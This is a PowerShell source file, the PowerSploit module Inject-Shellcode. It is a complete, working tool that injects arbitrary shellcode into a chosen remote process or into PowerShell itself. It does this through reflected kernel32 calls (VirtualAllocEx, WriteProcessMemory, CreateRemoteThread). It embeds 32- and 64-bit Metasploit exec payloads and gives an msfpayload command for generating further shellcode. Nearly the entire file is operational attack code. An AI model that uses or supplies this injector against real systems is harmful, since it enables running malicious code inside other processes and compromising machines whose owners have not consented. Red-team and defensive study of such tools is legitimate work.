Inject-Shellcode.ps1

function Inject-Shellcode {

<#
.Synopsis

 PowerSploit Module - Inject-Shellcode
 Author: Matthew Graeber (@mattifestation)
 License: GNU GPL v2
 
.Description

 Inject-Shellcode injects shellcode into the process ID of your choosing or within PowerShell locally.
 
 Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre

 PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your
 shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):

 msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- 

 Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode.
 It's entirely unnecessary.
 
.Parameter ProcessID

 Process ID of the process you want to inject shellcode into.
 
.Parameter Remote

 Indicates that you want to inject into a remote process.
 
.Parameter Local

 Indicates that you want to inject within PowerShell.
 
.Example

 PS> Inject-Shellcode -Remote 4274
 
 Description
 -----------
 Inject shellcode into process ID 4274.
 
.Example

 PS> Inject-Shellcode -Local
 
 Description
 -----------
 Inject shellcode into the running instance of PowerShell.
 
.Notes

 Use the '-Verbose' option to print detailed information.
 
 Place your generated shellcode in $Shellcode32 and $Shellcode64 variables.
 
.Link

 My blog: http://www.exploit-monday.com
#>

Param (
    [Parameter(Position = 0)] [String] $ProcessID,
    [Parameter()] [Switch] $Remote = $false,
    [Parameter()] [Switch] $Local = $true
)

    # Insert your shellcode here in the for 0xXX,0xXX,...
    # 32-bit payload
    # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
    [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
                              0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
                              0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
                              0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
                              0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
                              0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
                              0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
                              0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
                              0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
                              0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
                              0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
                              0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
                              0x61,0x6c,0x63,0x00)

    # 64-bit payload
    # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
    [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
                              0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
                              0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                              0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
                              0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
                              0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
                              0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
                              0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
                              0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
                              0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
                              0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
                              0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
                              0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
                              0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
                              0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                              0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
                              0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)


    if ($Remote -and !$ProcessID) {
        Write-Warning "You must specify a process ID!"
        return
    }

    try {
        Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
    } catch [System.Management.Automation.ActionPreferenceStopException] {
        Write-Warning "Process does not exist!"
        return
    }
    
    function Get-DelegateType
    {
        Param (
            [Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters,
            [Parameter(Position = 1)] [Type] $ReturnType = [Void]
        )

        $Domain = [AppDomain]::CurrentDomain
        $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
        $MethodBuilder.SetImplementationFlags('Runtime, Managed')
        return $TypeBuilder.CreateType()
    }

    function Get-ProcAddress
    {
        Param (
            [Parameter(Position = 0, Mandatory = $True)] [String] $Module,
            [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
        )

        # Get a reference to System.dll in the GAC
        $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
            Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
        $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
        # Get a reference to the GetModuleHandle and GetProcAddress methods
        $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
        # Get a handle to the module specified
        $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
        $tmpPtr = New-Object IntPtr
        $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
        # Return the address of the function
        return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
    }

    function Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) {

        $IntSizePtr = $Architecture / 8

        function ConvertTo-LittleEndian ([IntPtr] $Address) {
            $LittleEndianByteArray = New-Object Byte[](0)
            $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
            [System.Array]::Reverse($LittleEndianByteArray)
            return $LittleEndianByteArray
        }
        
        $CallStub = New-Object Byte[](0)
        
        if ($IntSizePtr -eq 8) {
            [Byte[]] $CallStub = 0x48,0xB8                      # MOV   QWORD RAX, &shellcode
            $CallStub += ConvertTo-LittleEndian $BaseAddr       # &shellcode
            $CallStub += 0xFF,0xD0                              # CALL  RAX
            $CallStub += 0x6A,0x00                              # PUSH  BYTE 0
            $CallStub += 0x48,0xB8                              # MOV   QWORD RAX, &ExitThread
            $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
            $CallStub += 0xFF,0xD0                              # CALL  RAX
        } else {
            [Byte[]] $CallStub = 0xB8                           # MOV   DWORD EAX, &shellcode
            $CallStub += ConvertTo-LittleEndian $BaseAddr       # &shellcode
            $CallStub += 0xFF,0xD0                              # CALL  EAX
            $CallStub += 0x6A,0x00                              # PUSH  BYTE 0
            $CallStub += 0xB8                                   # MOV   DWORD EAX, &ExitThread
            $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
            $CallStub += 0xFF,0xD0                              # CALL  EAX
        }
        
        return $CallStub
    }

    function Inject-RemoteShellcode ([Int] $ProcessID)
    {
    
        # Open a handle to the process you want to inject into
        $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
        if (!$hProcess) { Write-Warning 'Unable to open process handle.'; return }

        $IsWow64 = $false

        if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
        {
            # Determine is the process specified is 32 or 64 bit
            $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
            if ((!$IsWow64) -and $PowerShell32bit) {
                Write-Warning 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'; return
            } elseif ($IsWow64){
                if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return }
                $Shellcode = $Shellcode32
                Write-Verbose 'Injecting into a Wow64 process.'
                Write-Verbose 'Using 32-bit shellcode.'
            } else {
                if (!$Shellcode64) { Write-Warning 'No shellcode was placed in the $Shellcode64 variable!'; return }
                Write-Verbose 'Using 64-bit shellcode.'
                $Shellcode = $Shellcode64
            }
        } else {
            if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return }
            $Shellcode = $Shellcode32
        }

        # Reserve and commit enough memory in remote process to hold the shellcode
        $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
        if (!$RemoteMemAddr) { Write-Warning 'Unable to allocate shellcode memory in remote process.'; return }
        Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"

        # Copy shellcode into the previously allocated memory
        $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null

        # Get address of ExitThread function
        $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread

        if ($IsWow64) {
            # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
            $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
            Write-Verbose 'Emitting 32-bit assembly call stub.'
        } else {
            # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
            $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
            Write-Verbose 'Emitting 64-bit assembly call stub.'
        }

        # Allocate inline assembly stub
        $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
        if (!$RemoteMemAddr) { Write-Warning 'Unable to allocate thread call stub memory in remote process.'; return }
        Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"

        # Write 32-bit assembly stub to remote process memory space
        $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null

        # Execute shellcode as a remote thread
        $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
        if (!$ThreadHandle) { Write-Warning 'Unable to launch remote thread.'; return } # Error launching thread

        # Close process handle
        $CloseHandle.Invoke($hProcess) | Out-Null

        Write-Verbose 'Shellcode injection complete!'
    }

    function Inject-LocalShellcode
    {
        if ($PowerShell32bit) {
            if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return }
            $Shellcode = $Shellcode32
            Write-Verbose 'Using 32-bit shellcode.'
        } else {
            if (!$Shellcode64) { Write-Warning 'No shellcode was placed in the $Shellcode64 variable!'; return }
            $Shellcode = $Shellcode64
            Write-Verbose 'Using 64-bit shellcode.'
        }
    
        # Allocate RWX memory for the shellcode
        $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
        if (!$BaseAddress) { Write-Warning 'Unable to allocate shellcode memory.'; return }
        Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"

        # Copy shellcode to RWX buffer
        [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
        
        # Get address of ExitThread function
        $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
        
        if ($PowerShell32bit) {
            $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
            Write-Verbose 'Emitting 32-bit shellcode.'
        } else {
            $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
            Write-Verbose 'Emitting 64-bit shellcode.'
        }

        # Allocate RWX memory for the thread call stub
        $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
        if (!$BaseAddress) { Write-Warning 'Unable to allocate thread call stub memory.'; return }
        Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"

        # Copy call stub to RWX buffer
        [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)

        # Launch shellcode in it's own thread
        $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
        if (!$ThreadHandle) { Write-Warning 'Unable to launch thread.'; return } # Error launching thread

        # Wait for shellcode thread to terminate
        $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
        
        $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
        $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)

        Write-Verbose 'Shellcode injection complete!'
    }
    
    $64bitCPU = $true

    $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
    if ($IsWow64ProcessAddr) {
    	$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
    	$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
    } else {
    	$64bitCPU = $false
    }

    if ([IntPtr]::Size -eq 4) { $PowerShell32bit = $true } else { $PowerShell32bit = $false }

    if ($Remote) {
        $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
        $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
        $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
        $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
        $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
        $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
        $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
        $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
        $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
        $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
        $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
        $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
        $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
        $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
        $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
    
        Write-Verbose "Injecting shellcode into PID: $ProcessId"
        Inject-RemoteShellcode $ProcessId
        
    } else {
        $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
        $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
        $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
        $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
        $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
        $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
        $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
        $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
        $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
        $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
        $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
        $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
        
        Write-Verbose "Injecting shellcode into PowerShell"
        Inject-LocalShellcode
        
    }
    
}